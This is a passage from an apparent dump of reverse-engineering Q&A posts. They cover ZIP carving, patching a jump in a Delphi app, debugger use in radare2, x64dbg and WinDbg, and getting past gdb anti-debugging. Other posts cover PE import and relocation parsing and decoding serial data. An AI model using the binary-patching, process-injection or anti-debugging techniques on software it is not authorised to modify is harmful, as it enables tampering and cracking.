    If you consider the actual PKZipformat\nEach PKZIP trealer is composed by 0x506B0506 AND followed by 18 bytes handling other information like number of disk, total number of central directories, their sizes ...) so to correctly carve the zip file you should copy the block from offset 0xCB8E:\n\"Start

    \n\n

    To offset 0xFA16

    \n\n

    \"End

    \n\n

    The result is a working ZIP file.

    \n" }, { "Id": "11204", "CreationDate": "2015-10-29T10:05:26.507", "Body": "

    I have struggled a lot to reverse an app that is delphi executable.\nSo I trusted PEiD to tell me the truth about the app but unfortunately I found these

    \n\n
     Nothing found[overlay]*\n
    \n\n

    Then I switched the Kanal plugin and it detected crypto signatures

    \n\n
      ADLER32\n  BASE64\n  BZIP2\n  CCITT-CRC16[word]\n  CRC(rev)\n  CRC32\n  CRC32b\n  CSS [table0]\n  FORK-256 [mixing]\n  MD5\n  SHA1[compress]\n  SHA-224[init]\n  SHA-256[mixing]\n  ZLIB deflate[word]\n  {big number}\n
    \n\n

    So in my case I never had of these except for Base64

    \n\n

    All I need is the app to show its platform in PEiD and how can I deal with this type of compression?\n------------------------------------------------------------------------------------this is what iam trying to achieve\nthis is the onclick event of my two buttons.\ni want ESI to be 00000011 before the call @005A6DBD so i tried to change the JNZ @005A6F44 but but ESI becomes 00000018 which is an event of another button.\nso as it is now the button(my Target) when i click ESI becomes 00000000 which simply execute the defaut of the Case switch Table that is inside the call @005A6DBD

    \n\n
    005A6EC4    .  55                PUSH EBP                                  ;  programform buttonclick event\n005A6EC5    .  8BEC              MOV EBP,ESP\n005A6EC7    .  83C4 F0           ADD ESP,-10\n005A6ECA    .  53                PUSH EBX\n005A6ECB    .  56                PUSH ESI                                           ;  AcroByte.<ModuleEntryPoint>\n005A6ECC    .  57                PUSH EDI                                           ;  AcroByte.<ModuleEntryPoint>\n005A6ECD    .  33C9              XOR ECX,ECX\n005A6ECF    .  894D FC           MOV DWORD PTR SS:[EBP-4],ECX\n005A6ED2    .  8BDA              MOV EBX,EDX                                        ;  ntdll.KiFastSystemCallRet\n005A6ED4    .  33C0              XOR EAX,EAX\n005A6ED6    .  55                PUSH EBP\n005A6ED7    .  68 9C6F5A00       PUSH AcroByte.005A6F9C\n005A6EDC    .  64:FF30           PUSH DWORD PTR FS:[EAX]\n005A6EDF    .  64:8920           MOV DWORD PTR FS:[EAX],ESP\n005A6EE2    .  33C0              XOR EAX,EAX\n005A6EE4    .  55                PUSH EBP\n005A6EE5    .  68 7C6F5A00       PUSH AcroByte.005A6F7C\n005A6EEA    .  64:FF30           PUSH DWORD PTR FS:[EAX]\n005A6EED    .  64:8920           MOV DWORD PTR FS:[EAX],ESP\n005A6EF0    .  C745 F4 0C000000  MOV DWORD PTR SS:[EBP-C],0C\n005A6EF7    .  8BC3              MOV EAX,EBX\n005A6EF9    .  8B15 30D24600     MOV EDX,DWORD PTR DS:[46D230]                      ;  AcroByte.0046D288\n005A6EFF    .  E8 A8F1E5FF       CALL AcroByte.004060AC\n005A6F04    .  8B50 08           MOV EDX,DWORD PTR DS:[EAX+8]\n005A6F07    .  8D45 FC           LEA EAX,DWORD PTR SS:[EBP-4]\n005A6F0A    .  E8 D50DE6FF       CALL AcroByte.00407CE4\n005A6F0F    .  6945 F4 7C1B0900  IMUL EAX,DWORD PTR SS:[EBP-C],91B7C\n005A6F16    .  8B04C5 08D25F00   MOV EAX,DWORD PTR DS:[EAX*8+5FD208]\n005A6F1D    .  85C0              TEST EAX,EAX\n005A6F1F    .  7C 51             JL SHORT AcroByte.005A6F72\n005A6F21    .  40                INC EAX\n005A6F22    .  8945 F0           MOV DWORD PTR SS:[EBP-10],EAX\n005A6F25    .  C745 F8 00000000  MOV DWORD PTR SS:[EBP-8],0\n005A6F2C    .  BB 08D25F00       MOV EBX,AcroByte.005FD208\n005A6F31    >  6975 F4 7C1B0900  IMUL ESI,DWORD PTR SS:[EBP-C],91B7C\n005A6F38    .  8B44F3 04         MOV EAX,DWORD PTR DS:[EBX+ESI*8+4]\n005A6F3C    .  8B55 FC           MOV EDX,DWORD PTR SS:[EBP-4]\n005A6F3F    .  E8 6C17E6FF       CALL AcroByte.004086B0       ;call @UStrEqual( cmp eax,edx inside the call)\n005A6F44    .  75 1E             JNZ SHORT AcroByte.005A6F64   ;  this jump\n005A6F46    .  8B44F3 08         MOV EAX,DWORD PTR DS:[EBX+ESI*8+8]\n005A6F4A    .  85C0              TEST EAX,EAX\n005A6F4C    .  7C 16             JL SHORT AcroByte.005A6F64\n005A6F4E    .  40                INC EAX\n005A6F4F    .  89C6              MOV ESI,EAX\n005A6F51    .  33FF              XOR EDI,EDI                                        ;  AcroByte.<ModuleEntryPoint>\n005A6F53    >  8BCF              MOV ECX,EDI                                        ;  AcroByte.<ModuleEntryPoint>\n005A6F55    .  8B55 F8           MOV EDX,DWORD PTR SS:[EBP-8]                       ;  sets the value to EDX(important)\n005A6F58    .  8B45 F4           MOV EAX,DWORD PTR SS:[EBP-C]\n005A6F5B    .  E8 E8EFFFFF       CALL AcroByte.005A5F48\n005A6F60    .  47                INC EDI                                            ;  AcroByte.<ModuleEntryPoint>\n005A6F61    .  4E                DEC ESI                                            ;  AcroByte.<ModuleEntryPoint>\n005A6F62    .^ 75 EF             JNZ SHORT AcroByte.005A6F53\n005A6F64    >  FF45 F8           INC DWORD PTR SS:[EBP-8]                           ;  AcroByte.015C2BD4\n005A6F67    .  81C3 ACB80000     ADD EBX,0B8AC\n005A6F6D    .  FF4D F0           DEC DWORD PTR SS:[EBP-10]\n005A6F70    .^ 75 BF             JNZ SHORT AcroByte.005A6F31\n005A6F72    >  33C0              XOR EAX,EAX\n005A6F74    .  5A                POP EDX                                            ;  user32.7500925A\n005A6F75    .  59                POP ECX                                            ;  user32.7500925A\n005A6F76    .  59                POP ECX                                            ;  user32.7500925A\n005A6F77    .  64:8910           MOV DWORD PTR FS:[EAX],EDX                         ;  ntdll.KiFastSystemCallRet\n005A6F7A    .  EB 0A             JMP SHORT AcroByte.005A6F86\n005A6F7C    .^ E9 CBFCE5FF       JMP AcroByte.00406C4C\n005A6F81    .  E8 1E01E6FF       CALL AcroByte.004070A4\n005A6F86    >  33C0              XOR EAX,EAX\n005A6F88    .  5A                POP EDX                                            ;  user32.7500925A\n005A6F89    .  59                POP ECX                                            ;  user32.7500925A\n005A6F8A    .  59                POP ECX                                            ;  user32.7500925A\n005A6F8B    .  64:8910           MOV DWORD PTR FS:[EAX],EDX                         ;  ntdll.KiFastSystemCallRet\n005A6F8E    .  68 A36F5A00       PUSH AcroByte.005A6FA3\n005A6F93    >  8D45 FC           LEA EAX,DWORD PTR SS:[EBP-4]\n005A6F96    .  E8 4109E6FF       CALL AcroByte.004078DC\n005A6F9B    .  C3                RETN\n===========================================================================================================================================================================the folowing is just piece only to show whats happening before the call cause the Whole repeat the same thing\n\n\n005A6D6D    .  53                PUSH EBX                                           ;  AcroByte.03CA2088\n005A6D6E    .  69DA 2B2E0000     IMUL EBX,EDX,2E2B\n005A6D74    .  69F8 7C1B0900     IMUL EDI,EAX,91B7C\n005A6D7A    .  8D3CFD 08D25F00   LEA EDI,DWORD PTR DS:[EDI*8+5FD208]\n005A6D81    .  FF749F 04         PUSH DWORD PTR DS:[EDI+EBX*4+4]\n005A6D85    .  69DA 2B2E0000     IMUL EBX,EDX,2E2B\n005A6D8B    .  69F8 7C1B0900     IMUL EDI,EAX,91B7C\n005A6D91    .  8D3CFD 08D25F00   LEA EDI,DWORD PTR DS:[EDI*8+5FD208]\n005A6D98    .  8D1C9F            LEA EBX,DWORD PTR DS:[EDI+EBX*4]\n005A6D9B    .  53                PUSH EBX                                           ;  AcroByte.03CA2088\n005A6D9C    .  5B                POP EBX                                            ;  AcroByte.03CA2088\n005A6D9D    .  FF74B3 0C         PUSH DWORD PTR DS:[EBX+ESI*4+C]\n005A6DA1    .  69D2 2B2E0000     IMUL EDX,EDX,2E2B\n005A6DA7    .  69C0 7C1B0900     IMUL EAX,EAX,91B7C\n005A6DAD    .  8D04C5 08D25F00   LEA EAX,DWORD PTR DS:[EAX*8+5FD208]\n005A6DB4    .  8D0490            LEA EAX,DWORD PTR DS:[EAX+EDX*4]\n005A6DB7    .  8B4CB0 10         MOV ECX,DWORD PTR DS:[EAX+ESI*4+10]\n005A6DBB    .  5A                POP EDX\n005A6DBC    .  58                POP EAX\n005A6DBD    .  E8 E6D1FFFF       CALL AcroByte.005A3FA8                             ;  call the function that does the job\n005A6DC2    .  33C0              XOR EAX,EAX\n
    \n\n

    For a better understanding the Call @005A6F3F goes to

    \n\n
     Cmp,eax.edx;  Eax=1E37BEE4 Unicode _27,   Edx=1E37B68C Unicode _27\n JE 004086E4;Jumps to retn\n Test eax,edx \n JE 004086DA; jumps to another bitwise AND\n
    \n\n

    That's where I am curious!!!

    \n", "Title": "How to decompress SHA1[compressed] executable", "Tags": "|unpacking|decompress|delphi|", "Answer": "

    Kanal plugins can provide you with some kind of signature wherever they found it and this means that those crypto signatures are not necessarily useful for your reversing goal. What are you trying to do exactly?\nFor Delphi try to use \"DeDe\" a nice and quite useful Delphi decompiler by DaFixer.

    \n" }, { "Id": "11207", "CreationDate": "2015-10-29T14:50:28.603", "Body": "

    I am new to radare2 and Linux. I got problem with r2.

    \n\n

    As the title states it, many tutorials, articles, videos about r2 are just about disassembling programs, and read assembly codes. But, I want debug my programs.

    \n\n

    I search on the web and on GitHub... But did not find anything meaningful (or maybe I did miss it).

    \n\n

    I would like to know if somebody could tell me how to run the debugger in r2.

    \n", "Title": "How to debug (like gdb) with radare2?", "Tags": "|radare2|debuggers|", "Answer": "

    Go to archives of hack.lu conference here.

    \n\n

    You can find there Radare2 workshop materials.\nThere are some mentions of debugging there.

    \n\n

    In addition you have a radare 2 book, see basic debugging session chapter.\nI'd suggest to read all the book and workshop materials.

    \n" }, { "Id": "11210", "CreationDate": "2015-10-29T17:43:28.620", "Body": "

    I'm trying to find a WndProc from explorer.exe that is handling these messages, I've found with Spy++:

    \n\n
    <000001> 00000000000B01C8 P message:0xC02B [Registered:\"SHELLHOOK\"] wParam:00000025 lParam:000F0184\n<000002> 00000000000B01C8 P message:0xC02B [Registered:\"SHELLHOOK\"] wParam:00008006 lParam:000F0184\n
    \n\n

    I'm trying to prevent explorer.exe from flashing the task bar button, it's ruining my Windows 10 experience. In Windows 10 the flashing task bar buttons appear in all desktops, and it's just maddening when focusing on a work on another virtual desktop. Not a feature I want. The above messages are sent to Task switcher in explorer.exe, if I can prevent them being handled I can beat this.

    \n\n

    I've wealth of knowledge about the WndProc which I want to see, and modify from Spy++, following windows are Property Inspector of Spy++ (64 bit version):

    \n\n

    (Note: the 32bit version of Spy++ does not show Window Proc at all, just (Unavailable)(Unicode)

    \n\n

    \"Window

    \n\n

    \"Thread

    \n\n

    And in x64dbg I have the thread open:

    \n\n

    \"x64dbg

    \n\n

    But I just can't figure out how can I find the Window Proc in x64dbg?

    \n", "Title": "How to find WndProc using x64dbg?", "Tags": "|windows|", "Answer": "

    The spy++ is showing the wndproc in your screen shot (it is probably subclassed; you may need to trace but wndproc is shown in your screenshot as 361c9880 I don't know what the command is in x64 dbg but if you were on ollydbg you simply do ctrl+g (goto) key in the address as shown in spy++ and break and log the messages for filtering.

    \n

    A screen shot of calc.exe -> backspace button windows wndproc in comctl32.dll (32 bits and 64 bits shouldn't matter much on concept level)

    \n

    \"enter

    \n

    An entry by Raymond Chen talks about cookies being returned instead of wndproc.

    \n

    If all else fails assemble GetWindowLongPtrW in place to fetch the actual WndProc

    \n\n

    I downloaded x64dbg and ran 64 bit calc.exe spy++ 32 bit doesn't show wndproc. I cooked a script to alloc a page in process memory of calc.exe and assembled a detour using the script language and fetched the actual WndProc.

    \n

    A screenshot below:

    \n

    \"enter

    \n

    The debuggee must be in a paused state.

    \n

    The script allocates memory in the debuggee's address space using alloc; after tabbing once the status bar should show the newly allocated address.\nAlso the variables $lastalloc $result should hold the newly allocated memory address; if you do d address a bunch of 00 00 should stare at you.

    \n\n

    That is it; now you have Wndproc in a paper and you have returned to the original state.

    \n

    This is a detour (making an intentional bypass in the code flow of debuggee to do some extra work and return back to the place where bypass was done as if nothing was done to continue the original flow).

    \n

    Use bp to set a breakpoint in the wndproc you have on paper.

    \n" }, { "Id": "11212", "CreationDate": "2015-10-29T22:52:19.457", "Body": "

    I'm trying to debug Control Panel and I'd like to disassemble shell32.dll. Because control panel is a 64-bit executable, it loads the 64-bit version of the dll (contrary to the name). When I view the disassembled code in debug mode, I can confirm that it is indeed 64-bit. Ida claims that it's located at C:\\WINDOWS\\system32\\shell32.dll; however this dll is entirely 32-bit. I also checked C:\\WINDOWS\\SysWOW64\\shell32.dll, but it's also 32-bit.

    \n\n

    Can someone explain what's going on here?

    \n\n

    Thanks!

    \n", "Title": "Where can I find the 64-bit version of shell32.dll on Windows?", "Tags": "|windows|dll|", "Answer": "

    As @peter-ferrie said, 32-bit processes will use C:\\WINDOWS\\SysWOW64\\shell32.dll instead of C:\\WINDOWS\\system32\\shell32.dll if you specify C:\\WINDOWS\\system32\\shell32.dll.

    \n\n

    To force a 32-bit process to use the actual 64-bit version, you can specify the following file path: C:\\WINDOWS\\Sysnative\\shell32.dll

    \n\n

    This saves you the trouble of having to use Explorer to make a copy of the 64-bit DLL.

    \n" }, { "Id": "11220", "CreationDate": "2015-10-31T12:07:10.423", "Body": "

    I've set breakpoints on some Windows kernel functions using WinDBG. When the breakpoints are hit, I can query information about the invoking user-mode process using the !process or !peb commands.

    \n\n

    How are these commands implemented? How can I find the relevant memory structures and \"manually\" trace back to the user-mode caller when one of my BPs hit?

    \n", "Title": "Finding user process for Windows kernel API call", "Tags": "|windows|", "Answer": "

    currentprocess KPROCESS offset is returned by

    \n\n
    IDebugSystemObjects::GetCurrentProcessDataOffset\n
    \n\n

    peb is returned by

    \n\n
    IDebugSystemObjects::GetCurrentProcessPeb method\n
    \n\n

    both are implemented in dbgeng

    \n\n

    you can set process specific breakpoints so that the kernel api will break only in the correct process context

    \n\n
    bp /p [eprocess] {kernel api}\n
    \n\n

    to look at the stack use kb when the breakpoint is hit

    \n\n

    windbg comes with sample src code that shows various forms of implementation \nright from the very old wdbgext extensions to the latest engextcpp extension

    \n\n

    a basic implementation is simple and straightforward \nCall DebugCreate() to obtain a IDebugClient Interface \nQuery the Other Interfaces from this Client Interface and call the methods

    \n\n

    to find a series of articles that show how to use the dbgeng functions \nexplore here \nhttp://www.woodmann.com/forum/entry.php?246-A-Simple-Dbgeng-Based-User-Mode-Debugger

    \n" }, { "Id": "11222", "CreationDate": "2015-11-01T09:28:44.817", "Body": "

    For the ease of analysis (i.e., static analysis), I am planning to convert a control-flow graph, of a function, into a spanning tree by removing the backward edges. I wonder whether this spanning tree can be considered as a binary tree? That is, is it possible for a basic-block to have more than 2 out-going edges?

    \n", "Title": "Can a basic-block have more than 2 outgoing edges?", "Tags": "|disassembly|static-analysis|control-flow-graph|", "Answer": "

    It depends on target's assembly language and compiler which your executable was compiled with.\nFor example C language switch/case clause may be implemented in a manner which allows your tree to be not binary.

    \n\n
    switch (a)\n{\ncase 1:\n    return 1;\nbreak;\ncase 2:\n    return 10;\nbreak;\ncase 3:\n    return 100;\nbreak;\ncase 4:\n    return 1000;\nbreak;\ncase 5:\n    return 10000;\nbreak;\ndefault:\n    return -1;\nbreak;\n}\n\n\n00000000004004ed <main>:\n  4004ed:   55                      push   %rbp\n  4004ee:   48 89 e5                mov    %rsp,%rbp\n  4004f1:   89 7d fc                mov    %edi,-0x4(%rbp)\n  4004f4:   48 89 75 f0             mov    %rsi,-0x10(%rbp)\n  4004f8:   83 7d fc 05             cmpl   $0x5,-0x4(%rbp)\n  4004fc:   77 47                   ja     400545 <main+0x58>\n  4004fe:   8b 45 fc                mov    -0x4(%rbp),%eax\n  400501:   48 8d 14 85 00 00 00    lea    0x0(,%rax,4),%rdx\n  400508:   00 \n  400509:   48 8d 05 c4 00 00 00    lea    0xc4(%rip),%rax        # 4005d4 <_IO_stdin_used+0x4>\n  400510:   8b 04 02                mov    (%rdx,%rax,1),%eax\n  400513:   48 63 d0                movslq %eax,%rdx\n  400516:   48 8d 05 b7 00 00 00    lea    0xb7(%rip),%rax        # 4005d4 <_IO_stdin_used+0x4>\n  40051d:   48 01 d0                add    %rdx,%rax\n  400520:   ff e0                   **jmpq   *%rax**\n  400522:   b8 01 00 00 00          mov    $0x1,%eax\n  400527:   eb 21                   jmp    40054a <main+0x5d>\n  400529:   b8 0a 00 00 00          mov    $0xa,%eax\n  40052e:   eb 1a                   jmp    40054a <main+0x5d>\n  400530:   b8 64 00 00 00          mov    $0x64,%eax\n  400535:   eb 13                   jmp    40054a <main+0x5d>\n  400537:   b8 e8 03 00 00          mov    $0x3e8,%eax\n  40053c:   eb 0c                   jmp    40054a <main+0x5d>\n  40053e:   b8 10 27 00 00          mov    $0x2710,%eax\n  400543:   eb 05                   jmp    40054a <main+0x5d>\n  400545:   b8 ff ff ff ff          mov    $0xffffffff,%eax\n  40054a:   5d                      pop    %rbp\n  40054b:   c3                      retq   \n
    \n\n

    for example

    \n\n
    400520: ff e0                   **jmpq   *%rax**\n
    \n\n

    instruction implements switch.case jumps in this example. Obviously the basic block which ends with this jump will have 6 out-going edges.

    \n\n

    Any other indirect jump may also produce such a situation.

    \n\n

    There are some good examples in this article.\nSo, the answer to your question is definitely yes, there are basic blocks with more than 2 out-going edges and your spanning tree can not be considered as binary.

    \n" }, { "Id": "11225", "CreationDate": "2015-11-01T21:16:33.740", "Body": "

    I am trying to solve a reverse engineering challenge using using gdb. I can run the program inside it but when I set a breakpoint at main then I get

    \n\n
    Program received signal SIGSEGV, Segmentation fault.\n
    \n\n

    Setting it at something even earlier like _init (there are two BTW) also was not very fruitful, could it be that the program might be corrupting itself at some point that I didn't catch? Have a look at the backtrace for that matter:

    \n\n
    #0  0x47048474 in ?? ()\n#1  0x0804864a in __handle_global_ctors ()\n#2  0x080488c5 in __do_global_ctors_aux ()\n#3  0x08048349 in _init ()\n
    \n\n

    Now I tried to statically decompile it using a simple recursive traversal disassembler (not IDA) but I couldn't find any traces of CC (INT 3) so I guess another layer of obfuscation has been added.

    \n\n

    I also tried record with no success:

    \n\n
    Breakpoint 5, 0x0804833a in _init ()\n(gdb) record\n(gdb) c\nContinuing.\n(null)Process record: failed to record execution log.\n
    \n\n

    Oh and I couldn't find the hex string \"47048474\" either.

    \n\n

    Any more ideas what can help in such a situation? Maybe detecting the self-modification?

    \n", "Title": "using GDB and dealing with breakpoint detection", "Tags": "|linux|gdb|anti-debugging|", "Answer": "

    So, just to clarify what is already present in the comments:

    \n\n

    gdb's break will place an ordinary breakpoint, which works by taking the in-memory image of the process and swapping its original instruction for a specific interrupt instruction. If I understand correctly, hbreak tells the OS to monitor every instruction an compare the address of current instruction to the address of breakpoint (i.e. no modification of the in-memory image). However, the number of hardware breakpoints available at a time is limited.

    \n\n

    To place a hardware breakpoint with hbreak, your program must be already running with gdb's run. To achieve that, you should place an ordinary breakpoint somewhere at the very beginning (let's say, _start function), successfully break there, place a hardware breakpoint and then remove the original ordinary breakpoint.

    \n" }, { "Id": "11233", "CreationDate": "2015-11-02T18:30:23.220", "Body": "

    I have an application that I am auditing that runs code from an imported DLL. Said DLL itself has imports. Specifically, during execution there's a point where the following is called (EIP is in said DLL):

    \n\n
    68DC6648:    jmp dword ptr ds:[68DD21C8h]\n68DC664E:    nop\n68DC664f:    nop\n
    \n\n

    I performed

    \n\n
    disasm /all /disasm X:\\path\\to\\dll\\myDll.dll\n
    \n\n

    On the DLL in an attempt to determine where [68DD21C8] goes to. Mosdef appears as though it is a part of a thunk table for relocations or IAT. My assumption sppears to be correct, as I find [68DD21C8] under the .reloc header under a section called BASE RELOCATIONS:

    \n\n
    BASE RELOCATIONS #4\n...    ...        ...\n6000 RVA,    10C SizeOfBlock\n...    ...        ...\n64A    HIGHLOW    68DD21C8\n
    \n\n

    The preferred image base is:

    \n\n
    68DC0000 image base (68DC0000 to 68DD7FFFF)\n
    \n\n

    Also, the DLL entrypoint appears to be 68DC1000.

    \n\n

    My question is: how do I determine the memory address for [68DD21C8] and its relative code/disassembly?

    \n\n

    I tried baseaddr + RVA + ordinal to get:\n68DC0000 + 6000 + 64A == 68DC664A

    \n\n

    However, it falls within range of my disassembled code. In my disassembly from dumpbin, 68DC664A isn't a valid address and would lie between the previously stated thunk!

    \n\n
    68DC6648:    jmp dword ptr ds:[68DD21C8h] ;<--contains 68DC664A!!!\n68DC664E:    nop\n68DC664f:    nop\n
    \n\n

    I double checked I have my maths right and searched around, found this previous answer on stack exchange, but it only verified my math above was correct

    \n", "Title": "Dumpbin: Correlating thunk jumps in .reloc to disassembly", "Tags": "|disassembly|debugging|pe|", "Answer": "

    If you have set a proper _NT_SYMBOL_PATH dumpbin uses the symbols if they exist and provide you a name of the import instead of hex

    \n\n

    the example below shows alls that have resolved names instead of hex for windows calc.exe

    \n\n
    C:\\>dumpbin /disasm c:\\WINDOWS\\system32\\calc.exe | grep -i \"jmp.*\\[\"\n  01004A9B: FF 24 85 FA 50 00  jmp         dword ptr [eax*4+10050FAh]\n  01007BC8: FF 25 7C 10 00 01  jmp         dword ptr [__imp__LocalFree@4]\n  0101263C: FF 25 BC 11 00 01  jmp         dword ptr [__imp____CxxFrameHandler]\n  01012670: FF 25 C0 11 00 01  jmp         dword ptr [__imp___CxxThrowException@8]\n  010127A4: FF 25 E4 11 00 01  jmp         dword ptr [__imp___XcptFilter]\n
    \n\n

    in case there are no symbols

    \n\n
    C:\\>dumpbin /disasm c:\\usedll.exe | grep -i \"jmp.*\\[\"\n  0040106E: FF 25 0C 20 40 00  jmp         dword ptr ds:[0040200Ch]\n  00401074: FF 25 00 20 40 00  jmp         dword ptr ds:[00402000h]\n  0040107A: FF 25 04 20 40 00  jmp         dword ptr ds:[00402004h]\n  00401080: FF 25 08 20 40 00  jmp         dword ptr ds:[00402008h]\n  00401086: FF 25 14 20 40 00  jmp         dword ptr ds:[00402014h]\n
    \n\n

    you can view the raw data at the address (if it is an imported address it would be an unresolved first thunk ) windows loader fills it when it is loading the exe dump bin does not resolve it

    \n\n
    C:\\>dumpbin /RAWDATA:4,6 c:\\usedll.exe | grep 402000\n  00402000: 00002082 00002090 000020A2 00002074 00000000 000020C0\n
    \n\n

    to resolve this manually you should parse the import table \n00002082 will point to an import \n00002090 will point to another import in x.dll etc \n00000000 is a seperator \n20c0 will point to an import in y.dll and so on \nname of x.dll , y.dll z.dll will also be the part of import table

    \n\n

    here is a complete import table of a non symbol exe

    \n\n
    C:\\>dumpbin /RAWDATA:4 c:\\usedll.exe | grep -A 14 402000\n  00402000: 00002082 00002090 000020A2 00002074  . ... ..\u00f3 ..t ..\n  00402010: 00000000 000020C0 00000000 00002058  ....\u2514 ......X ..\n  00402020: 00000000 00000000 000020B2 00002000  ........\u2593 ... ..\n  00402030: 0000206C 00000000 00000000 000020CE  l ..........\u256c ..\n  00402040: 00002014 00000000 00000000 00000000  . ..............\n  00402050: 00000000 00000000 00002082 00002090  ......... ... ..\n  00402060: 000020A2 00002074 00000000 000020C0  \u00f3 ..t ......\u2514 ..\n  00402070: 00000000 78450075 72507469 7365636F  ....u.ExitProces\n  00402080: 00A20073 65657246 7262694C 00797261  s.\u00f3.FreeLibrary.\n  00402090: 65470129 6F725074 64644163 73736572  ).GetProcAddress\n  004020A0: 01A90000 64616F4C 7262694C 41797261  ..\u2310.LoadLibraryA\n  004020B0: 454B0000 4C454E52 642E3233 00006C6C  ..KERNEL32.dll..\n  004020C0: 654D01BB 67617373 786F4265 53550041  \u2557.MessageBoxA.US\n  004020D0: 32335245 6C6C642E 00 00              ER32.dll..\n
    \n\n

    you can observe 20b2 and 20ce pointing to kernel32.dll and user32.dll respectively

    \n\n

    edit

    \n\n

    the address in your query does not point to an import table it is part of reloc or a fixup
    \nfixups do not jump between modules they fall within the module being examined

    \n\n
    C:\\>dumpbin /RELOCATIONS c:\\WINDOWS\\system32\\kernel32.dll | head -n 11 | tail -3\n\nBASE RELOCATIONS #4\n    1000 RVA,       70 SizeOfBlock\n     62C  HIGHLOW            7C810B50\n\nC:\\>dumpbin /Rawdata:4 c:\\WINDOWS\\system32\\kernel32.dll | grep -i 7c801620\n  7C801620: 00000000 90909090 68146A90 7C810B50  .........j.hP..|\n\nnotice 7c810b50  if the dll is loaded in preferred imagebase this wont change\n\nif the image base is changed loader will find the dword at imagebase+rva+offset \nsubtract the preferred imagebase and add the new imagebase to that result and\npatch the dword to point to correct location \n\nsuppose the preferrred imagebase of 7c800000 wasn't available and dll was loaded at 7d800000 \nloader will fetch the dword 7c810b50 at 7d80162c subtract 7c800000 from it result = 10b50 \nadd 7d800000 and patch 7c810b50 to 7d810b50 \n
    \n\n

    in the query
    \nyou say

    \n\n
    68DC6648:    jmp dword ptr ds:[68DD21C8h] ;<--contains 68DC664A!!!\n
    \n\n

    that means it is jumping to the middle of the opcode \ndisassembling 68dc66fa you get

    \n\n
    xxxxx       68 DC664A90     PUSH    904A66DC\nxxxxx       90              NOP\n
    \n\n

    you may need something better than dumpbin to deal with obfuscation

    \n\n

    edit

    \n\n

    regarding your comment about import parsing no the offsets have nothing to do with base + rva + xxx
    \nthey do not point to any remote module no reference to any import module address exist in the importing module
    \n(just take a step back and think what would happen if the dll in the import
    \ntable was rebased ?? where the exe is going to look for ?? get the idea??)

    \n\n

    in the import table pasted above 2082,2090,20a2,2074 points to 4 imports from first dll\n20c0 points to 1 import from second dll this is firstthunk that will be replaced by the loader with actual import address

    \n\n

    import table is denoted in pe header->optinal header->datadir[1]

    \n\n
    0:000> dt ntdll!_IMAGE_NT_HEADERS -y opt.datadi[1]. 4000b0\n   +0x018 OptionalHeader : \n      +0x060 DataDirectory  : [1] \n         +0x000 VirtualAddress : 0x201c\n         +0x004 Size           : 0x3c\n
    \n\n

    see 201c and size 3c that is 15 dwords see below for splitup

    \n\n
    typedef struct _IMAGE_IMPORT_DESCRIPTOR {\n  union   {\n    DWORD   Characteristics;\n    DWORD   OriginalFirstThunk;   <-----00002058,0000206c,00000000\n  } DUMMYUNIONNAME;\n  DWORD   TimeDateStamp;    <-----------00000000,00000000,00000000\n  DWORD   ForwarderChain;   <-----------00000000,00000000,00000000\n  DWORD   Name;             <-----------000020b2,000020ce,00000000 \n  DWORD   FirstThunk;       <-----------00002000,00002014,00000000\n} IMAGE_IMPORT_DESCRIPTOR;\nthe last is a null entry that means 5 dwords that are 00000000\n
    \n\n

    the original firstthunk a copy of first thunk stays as it is \nthe orignal first thunk gets modified by loader \nloader loads the specified dll using an internal function of LoadLibrary()--->LdrLoadDll() \nand uses an internal api of GetProcAddress to fetch the importAddress and patches the OriignalFirstThunk

    \n\n

    the module being examined has no inkling about the addresses \nyou cant manually calculate anything about a remote dll import from import table

    \n" }, { "Id": "11241", "CreationDate": "2015-11-03T16:07:54.197", "Body": "

    I have an energy monitory and I managed to get into the feed. I got the handshake packets sorted but I am stuck on working out how to decode this data from HEX.

    \n\n

    All I know are the following values as shown on the monitor at time of dump.

    \n\n
      \n
    1. Pac = 81 W
      2. \n
    2. Vac = 236.1 V
      3. \n
    3. Energy Total = 45.7 kWh
      4. \n
    4. Hours Total = 72 h
      5. \n
    \n\n

    and have the following packets, that are send by the monitor every 10 seconds

    \n\n
     AA 55 00 01 01 00 11 82 32 00 AA 00 9A 06 DE 06   \u00aaU.....\u201a2.\u00aa.\u0161.\u00de.\n D4 00 03 00 03 00 04 09 59 13 8C 00 51 00 00 00   \u00d4.......Y.\u0152.Q...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 09 35            ............5\n\n AA 55 00 01 01 00 11 82 32 00 A3 00 9A 07 01 07   \u00aaU.....\u201a2.\u00a3.\u0161...\n 11 00 03 00 03 00 04 09 51 13 8E 00 4F 00 00 00   ........Q.\u017d.O...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 07 88            ............\u02c6\n\n AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 C2 06   \u00aaU.....\u201a2.\u00a3.\u0161.\u00c2.\n E3 00 03 00 03 00 04 09 39 13 8E 00 51 00 00 00   \u00e3.......9.\u017d.Q...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 09 03            .............\n\n AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 B8 06   \u00aaU.....\u201a2.\u00a3.\u0161.\u00b8.\n B2 00 03 00 03 00 04 09 39 13 90 00 51 00 00 00   \u00b2.......9..Q...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 08 CA            ............\u00ca\n
    \n\n

    I can see the exact same things on start until ,2<ascii>, after that it seems to contain the data. The last packet dump should be the one resembling the data on the monitor at the time of receiving and as I mentioned.

    \n\n

    I have tried converted each HEX into integer, and maybe just finding similar numbers, like the easiest would be hours, 72 since that only changes every hour. But my futile attempts got me nowhere. Nothing close to 72.

    \n\n

    I doubt the data is obfuscated, or encrypted. I just don't know how else I can try and work this out and seek some advice from experienced developers in this sort of field.

    \n\n

    All packets end the same with FF FF 00 .. and the last hex is different each time, I suspect a CRC value for checking. There may be other values mixed in between all these but I am only interested in the main ones I can see on the monitor.

    \n", "Title": "Decoding serial data", "Tags": "|serial-communication|", "Answer": "

    You know that 72 will be in the data each time. Lets convert that to hex which is 48. We can see that clearly in each packet.

    \n\n

    It's preceded by 3 0 bytes presumable because it's written out as a 32 bit int (for some reason).

